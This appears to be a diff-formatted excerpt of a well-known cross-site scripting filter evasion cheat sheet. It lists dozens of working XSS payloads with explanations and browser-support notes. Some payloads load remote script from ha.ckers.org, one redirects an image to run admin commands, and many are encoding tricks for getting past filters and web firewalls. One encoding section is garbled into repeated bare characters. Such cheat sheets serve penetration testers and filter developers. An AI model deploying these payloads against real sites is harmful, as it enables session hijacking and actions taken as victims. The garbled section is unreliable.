+ Div expression - a variant of this was effective against a real world cross site scripting filter using a newline between the colon and "expression"
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]
+
+
+ FRAME
+ <FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
+ Frame (Frames have the same sorts of XSS problems as iframes).
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]
+
+
+ IFRAME
+ <IFRAME SRC="javascript:alert('XSS');"></IFRAME>
+ Iframe (If iframes are allowed there are a lot of other XSS problems as well).
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]
+
+
+ INPUT Image
+ <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
+ INPUT Image
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]
+
+
+ IMG w/JavaScript Directive
+ <IMG SRC="javascript:alert('XSS');">
+ Image XSS using the JavaScript directive.
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]
+
+
+ IMG No Quotes/Semicolon
+ <IMG SRC=javascript:alert('XSS')>
+ No quotes and no semicolon
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]
+
+
+ IMG Dynsrc
+ <IMG DYNSRC="javascript:alert('XSS');">
+ IMG Dynsrc
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]
+
+
+ IMG Lowsrc
+ <IMG LOWSRC="javascript:alert('XSS');">
+ IMG Lowsrc
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]
+
+
+ IMG Embedded commands 1
+ <IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
+ This works when the webpage where this is injected (like a web-board) is behind password protection and that password protection works with other commands on the same domain. This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc... This is one of the lesser used but more useful XSS vectors.
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]
+
+
+ IMG Embedded commands 2
+ Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser
+ IMG Embedded commands part II - this is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the image back to a command. So a normal <IMG SRC="http://badguy.com/a.jpg"> could actually be an attack vector to run commands as the user who views the image link. Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of this).
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]
+
+
+ IMG STYLE w/expression
+ exp/*<XSS STYLE='no\xss:noxss("*//*");
+xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
+ IMG STYLE with expression (this is really a hybrid of several CSS XSS vectors, but it really does show how hard STYLE tags can be to parse apart, like the other CSS examples this can send IE into a loop).
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]
+
+
+ List-style-image
+ <STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS
+ Fairly esoteric issue dealing with embedding images for bulleted lists. This will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful cross site scripting vector.
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]
+
+
+ IMG w/VBscript
+ <IMG SRC='vbscript:msgbox("XSS")'>
+ VBscript in an image
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]
+
+
+ LAYER
+ <LAYER SRC="http://ha.ckers.org/scriptlet.html"></LAYER>
+ Layer (Older Netscape only)
+
+ Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>]
+
+
+ Livescript
+ <IMG SRC="livescript:[code]">
+ Livescript (Older Netscape only)
+
+ Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>]
+
+
+ US-ASCII encoding
+ %BCscript%BEalert(%A2XSS%A2)%BC/script%BE
+ Found by Kurt Huwig http://www.iku-ag.de/ This uses malformed ASCII encoding with 7 bits instead of 8. This XSS may bypass many content filters but only works if the hosts transmits in US-ASCII encoding, or if you set the encoding yourself. This is more useful against web application firewall cross site scripting evasion than it is server side filter evasion. Apache Tomcat is the only known server that transmits in US-ASCII encoding.
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="ns">NS4</span>]
+
+
+ META
+ <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
+ The odd thing about meta refresh is that it doesn't send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs.
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>]
+
+
+ META w/data:URL
+ <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
+ This is nice because it also doesn't have anything visibly that has the word SCRIPT or the JavaScript directive in it, since it utilizes base64 encoding. Please see http://www.ietf.org/rfc/rfc2397.txt for more details
+
+ Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]
+
+
+ META w/additional URL parameter
+ <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
+ Meta with additional URL parameter. If the target website attempts to see if the URL contains an "http://" you can evade it with the following technique (Submitted by Moritz Naumann http://www.moritz-naumann.com)
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]
+
+
+ Mocha
+ <IMG SRC="mocha:[code]">
+ Mocha (Older Netscape only)
+
+ Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>]
+
+
+ OBJECT
+ <OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>
+ If they allow objects, you can also inject virus payloads to infect the users, etc. and same with the APPLET tag. The linked file is actually an HTML file that can contain your XSS
+
+ Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]
+
+
+ OBJECT w/Embedded XSS
+ <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>
+ Using an OBJECT tag you can embed XSS directly (this is unverified).
+
+ Browser support:
+
+
+ Embed Flash
+ <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
+ Using an EMBED tag you can embed a Flash movie that contains XSS. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info). Demo: http://ha.ckers.org/weird/xssflash.html :
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]
+
+
+ OBJECT w/Flash 2
+ a="get"; b="URL(""; c="javascript:"; d="alert('XSS');")";
eval(a+b+c+d);
+ Using this action script inside flash can obfuscate your XSS vector.
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]
+
+
+ STYLE
+ <STYLE TYPE="text/javascript">alert('XSS');</STYLE>
+ STYLE tag (Older versions of Netscape only)
+
+ Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>]
+
+
+ STYLE w/Comment
+ <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
+ STYLE attribute using a comment to break up expression (Thanks to Roman Ivanov http://www.pixel-apes.com/ for this one)
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]
+
+
+ STYLE w/Anonymous HTML
+ <XSS STYLE="xss:expression(alert('XSS'))">
+ Anonymous HTML with STYLE attribute (IE and Netscape 8.1+ in IE rendering engine mode don't really care if the HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter)
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]
+
+
+ STYLE w/background-image
+ <STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
+ STYLE tag using background-image.
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]
+
+
+ STYLE w/background
+ <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
+ STYLE tag using background.
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]
+
+
+ Stylesheet
+ <LINK REL="stylesheet" HREF="javascript:alert('XSS');">
+ Stylesheet
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]
+
+
+ Remote Stylesheet 1
+ <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
+ Remote style sheet (using something as simple as a remote style sheet you can include your XSS as the style question redefined using an embedded expression.) This only works in IE and Netscape 8.1+ in IE rendering engine mode. Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won't work unless there is some content on the page other than the vector itself, so you'll need to add a single letter to the page to make it work if it's an otherwise blank page.
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]
+
+
+ Remote Stylesheet 2
+ <STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>
+ Remote style sheet part 2 (this works the same as above, but uses a <STYLE> tag instead of a <LINK> tag). A slight variation on this vector was used to hack Google Desktop http://www.hacker.co.il/security/ie/css_import.html. As a side note you can remote the end STYLE tag if there is HTML immediately after the vector to close it. This is useful if you cannot have either an equal sign or a slash in your cross site scripting attack, which has come up at least once in the real world.
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]
+
+
+ Remote Stylesheet 3
+ <META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">
+ Remote style sheet part 3. This only works in Opera but is fairly tricky. Setting a link header is not part of the HTTP1.1 spec. However, some browsers still allow it (like Firefox and Opera). The trick here is that I am setting a header (which is basically no different than in the HTTP header saying Link: <http://ha.ckers.org/xss.css>; REL=stylesheet) and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox.
+
+ Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]
+
+
+ Remote Stylesheet 4
+ <STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>
+ Remote style sheet part 4. This only works in Gecko rendering engines and works by binding an XUL file to the parent page. I think the irony here is that Netscape assumes that Gecko is safer and therefore is vulnerable to this for the vast majority of sites.
+
+ Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>]
+
+
+ TABLE
+ <TABLE BACKGROUND="javascript:alert('XSS')"></TABLE>
+ Table background (who would have thought tables were XSS targets... except me, of course).
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]
+
+
+ TD
+ <TABLE><TD BACKGROUND="javascript:alert('XSS')"></TD></TABLE>
+ TD background.
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]
+
+
+ XML namespace
+ <HTML xmlns:xss>
+<?import namespace="xss" implementation="http://ha.ckers.org/xss.htc">
+<xss:xss>XSS</xss:xss>
+</HTML>
+ XML namespace. The .htc file must be located on the server as your XSS vector.
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]
+
+
+ XML data island w/CDATA
+ <XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>
+</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
+ XML data island with CDATA obfuscation (this XSS attack works only in IE and Netscape 8.1 IE rendering engine mode) - vector found by Sec Consult http://www.sec-consult.html while auditing Yahoo.
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]
+
+
+ XML data island w/comment
+ <XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML>
+<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
+ XML data island with comment obfuscation (doesn't use CDATA fields, but rather uses comments to break up the javascript directive)
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]
+
+
+ XML (locally hosted)
+ <XML SRC="http://ha.ckers.org/xsstest.xml" ID=I></XML>
+<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
+ Locally hosted XML with embedded JavaScript that is generated using an XML data island. This is the same as above but instead refers to a locally hosted (must be on the same server) XML file that contains the cross site scripting vector.
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]
+
+
+ XML HTML+TIME
+ <HTML><BODY>
+<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
+<?import namespace="t" implementation="#default#time2">
+<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert('XSS')</SCRIPT>"> </BODY></HTML>
+ HTML+TIME in XML. This is how Grey Magic http://www.greymagic.com/security/advisories/gm005-mc/ hacked Hotmail and Yahoo!. This only works in Internet Explorer and Netscape 8.1 in IE rendering engine mode and remember that you need to be between HTML and BODY tags for this to work.
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]
+
+
+ Commented-out Block
+ <!--[if gte IE 4]>
+<SCRIPT>alert('XSS');</SCRIPT>
+<![endif]-->
+ Downlevel-Hidden block (only works in IE5.0 and later and Netscape 8.1 in IE rendering engine mode). Some websites consider anything inside a comment block to be safe and therefore it does not need to be removed, which allows our XSS vector. Or the system could add comment tags around something to attempt to render it harmless. As we can see, that probably wouldn't do the job.
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]
+
+
+ Cookie Manipulation
+ <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
+ Cookie manipulation - admittedly this is pretty obscure but I have seen a few examples where <META is allowed and you can user it to overwrite cookies. There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page. With these two scenarios combined you can modify the victim's cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc).
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]
+
+
+ Local .htc file
+ <XSS STYLE="behavior: url(http://ha.ckers.org/xss.htc);">
+ This uses an .htc file which must be on the same server as the XSS vector. The example file works by pulling in the JavaScript and running it as part of the style attribute.
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]
+
+
+ Rename .js to .jpg
+ <SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>
+ Assuming you can only fit in a few characters and it filters against ".js" you can rename your JavaScript file to an image as an XSS vector.
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]
+
+
+ SSI
+ <!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://ha.ckers.org/xss.js></SCRIPT>'"-->
+ SSI (Server Side Includes) requires SSI to be installed on the server to use this XSS vector. I probably don't need to mention this, but if you can run commands on the server there are no doubt much more serious issues.
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]
+
+
+ PHP
+ <? echo('<SCR)';
+echo('IPT>alert("XSS")</SCRIPT>'); ?>
+ PHP - requires PHP to be installed on the server to use this XSS vector. Again, if you can run any scripts remotely like this, there are probably much more dire issues.
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]
+
+
+ JavaScript Includes
+ <BR SIZE="&{alert('XSS')}">
+ &JavaScript includes (works in Netscape 4.x).
+
+ Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>]
+
+
+ Character Encoding Example
+ <
+%3C
+<
+<
+<
+<
+<
+<
+<
+<
+<
+<
+<
+<
+<
+<
+<
+<
+<
+<
+<
+<
+<
+<
+<
+<
+<
+<
+<
+<
+<
+<
+<
+<
+<
+<
+<
+<
+<
+<
+<
+<
+<
+<
+<
+<
+<
+<
+<
+<
+<
+<
+<
+<
+<
+<
+<
+<
+<
+<
+<
+<
+<
+<
+<
+<
+\x3c
+\x3C
+\u003c
+\u003C
+ All of the possible combinations of the character "<" in HTML and JavaScript. Most of these won't render, but many of them can get rendered in certain circumstances (standards are great, aren't they?).
+
+ Browser support:
+
+
+ Case Insensitive
+ <IMG SRC=JaVaScRiPt:alert('XSS')>
+ Case insensitive XSS attack vector.
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]
+
+
+ HTML Entities
+ <IMG SRC=javascript:alert("XSS")>
+ HTML entities (the semicolons are required for this to work).
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]
+
+
+ Grave Accents
+ <IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
+ Grave accent obfuscation (If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don't know about grave accents).
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]
+
+
+ Image w/CharCode
+ <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
+ If no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you need.
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]
+
+
+ UTF-8 Unicode Encoding
+ <IMG SRC=javascript:alert('XSS')>
+ UTF-8 Unicode encoding (all of the XSS examples that use a javascript: directive inside of an IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode).
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]
+
+
+ Long UTF-8 Unicode w/out Semicolons
+ <IMG SRC=javascript:alert('XSS')>
+ Long UTF-8 Unicode encoding without semicolons (this is often effective in XSS that attempts to look for "&#XX;", since most people don't know about padding - up to 7 numeric characters total). This is also useful against people who decode against strings like $tmp_string =~ s/.*\&#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate an html encoded string (I've seen this in the wild).
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]
+
+
+ DIV w/Unicode
+ <DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
+ DIV background-image with unicoded XSS exploit (this has been modified slightly to obfuscate the url parameter). The original vulnerability was found by Renaud Lifchitz (http://www.sysdream.com) as a vulnerability in Hotmail.
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]
+
+
+ Hex Encoding w/out Semicolons
+ <IMG SRC=javascript:alert('XSS')>
+ Hex encoding without semicolons (this is also a viable XSS attack against the above string $tmp_string = ~ s/.*\&#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters).
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]
+
+
+ UTF-7 Encoding
+ <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
+ UTF-7 encoding - if the page that the XSS resides on doesn't provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following (Thanks to Roman Ivanov http://www.pixel-apes.com/ for this one). You don't need the charset statement if the user's browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 IE rendering engine mode). Watchfire http://seclists.org/lists/fulldisclosure/2005/Dec/1107.html found this hole in Google's custom 404 script.
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]
+
+
+ Escaping JavaScript escapes
+ \";alert('XSS');//
+ Escaping JavaScript escapes. When the application is written to output some user information inside of a JavaScript like the following: <SCRIPT>var a="$ENV{QUERY_STRING}";</SCRIPT> and you want to inject your own JavaScript into it but the server side application escapes certain quotes you can circumvent that by escaping their escape character. When this is gets injected it will read <SCRIPT>var a="";alert('XSS');//";</SCRIPT> which ends up un-escaping the double quote and causing the Cross Site Scripting vector to fire.
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]
+
+
+ End title tag
+ </TITLE><SCRIPT>alert("XSS");</SCRIPT>
+ This is a simple XSS vector that closes TITLE tags, which can encapsulate the malicious cross site scripting attack.
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]
+
+
+ STYLE w/broken up JavaScript
+ <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
+ STYLE tags with broken up JavaScript for XSS (this XSS at times sends IE into an infinite loop of alerts).
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]
+
+
+ Embedded Tab
+ <IMG SRC="jav ascript:alert('XSS');">
+ Embedded tab to break up the cross site scripting attack.
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]
+
+
+ Embedded Encoded Tab
+ <IMG SRC="jav	ascript:alert('XSS');">
+ Embedded encoded tab to break up XSS. For some reason Opera does not allow the encoded tab, but it does allow the previous tab XSS and encoded newline and carriage returns below.
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]
+
+
+ Embedded Newline
+ <IMG SRC="jav
ascript:alert('XSS');">
+ Embedded newline to break up XSS. Some websites claim that any of the chars 09-13 (decimal) will work for this attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work.
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]
+
+
+ Embedded Carriage Return
+ <IMG SRC="jav
ascript:alert('XSS');">
+ Embedded carriage return to break up XSS (Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I've seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters).
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]
+
+
+ Multiline w/Carriage Returns
+ <IMG
SRC
=
"
j
a
v
a
s
c
r
i
p
t
:
a
l
e
r
t
(
'
X
S
S
'
)
"
>
+ Multiline Injected JavaScript using ASCII carriage returns (same as above only a more extreme example of this XSS vector).
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]
+
+
+ Null Chars 1
+ perl -e 'print "<IMG SRC=java\0script:alert("XSS")>";'> out
+ Okay, I lied, null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy (http://www.portswigger.net/proxy/) or use %00 in the URL string or if you want to write your own injection tool you can use Vim (^V^@ will produce a null) to generate it into a text file. Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hyphen control char). But the null char %00 is much more useful and helped me bypass certain real world filters with a variation on this example.
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]
+
+
+ Null Chars 2
+ perl -e 'print "&<SCR\0IPT>alert("XSS")</SCR\0IPT>";' > out
+ Here is a little known XSS attack vector using null characters. You can actually break up the HTML itself using the same nulls as shown above. I've seen this vector bypass some of the most restrictive XSS filters to date
+
